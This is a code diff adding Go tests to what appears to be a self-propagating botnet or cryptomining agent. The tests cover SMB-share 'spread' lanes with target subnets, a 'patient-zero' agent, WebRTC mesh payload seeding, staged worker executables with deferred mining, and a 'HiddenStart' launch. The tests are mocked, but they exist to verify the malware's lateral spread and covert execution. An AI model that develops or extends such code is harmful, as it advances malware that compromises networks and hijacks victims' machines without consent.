Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/deploy/discover_join_test.go

@@ -6,6 +6,7 @@ import (
 	"encoding/base64"
 	"encoding/hex"
 	"encoding/json"
+	"fmt"
 	"os"
 	"strings"
 	"testing"
@@ -182,6 +183,58 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
 	}
 }
 
+func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
+	plan := DeployPlanBody{
+		JoinLane: "spread_smb_unc",
+		Action:   "spread_smb_unc",
+		UNCPath:  `\\forge\share\worker.exe`,
+		SpreadRouteHint: &SpreadRouteHint{
+			TargetSubnet:  "10.1.2",
+			SeedAgentID:   "seed-hop",
+			EgressAgentID: "seed-hop",
+			Score:         0.82,
+		},
+	}
+	msg, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "patient-zero")
+	if err != nil {
+		t.Fatalf("err=%v", err)
+	}
+	if !strings.Contains(msg, "spread_route_hint") || !strings.Contains(msg, "seed-hop") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
+func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
+	payload := []byte("webrtc-seed-plan")
+	sum := sha256.Sum256(payload)
+	hash := hex.EncodeToString(sum[:])
+
+	oldFn := webrtcMeshReceiveFn
+	webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
+		if !policy.IsSeeder {
+			return nil, fmt.Errorf("expected seeder role")
+		}
+		return payload, nil
+	}
+	defer func() { webrtcMeshReceiveFn = oldFn }()
+
+	plan := DeployPlanBody{
+		JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
+		WebRTCMesh: &WebRTCMeshPlanBody{SeederAgentID: "seed-agent"},
+		SpreadRouteHint: &SpreadRouteHint{SeedAgentID: "seed-agent", EgressAgentID: "seed-agent"},
+		Manifest: &StagingManifest{
+			SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
+		},
+	}
+	_, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "seed-agent")
+	if err != nil {
+		if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
+			return
+		}
+		t.Fatalf("unexpected error: %v", err)
+	}
+}
+
 func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
 	payload := []byte("webrtc-signed-plan")
 	sum := sha256.Sum256(payload)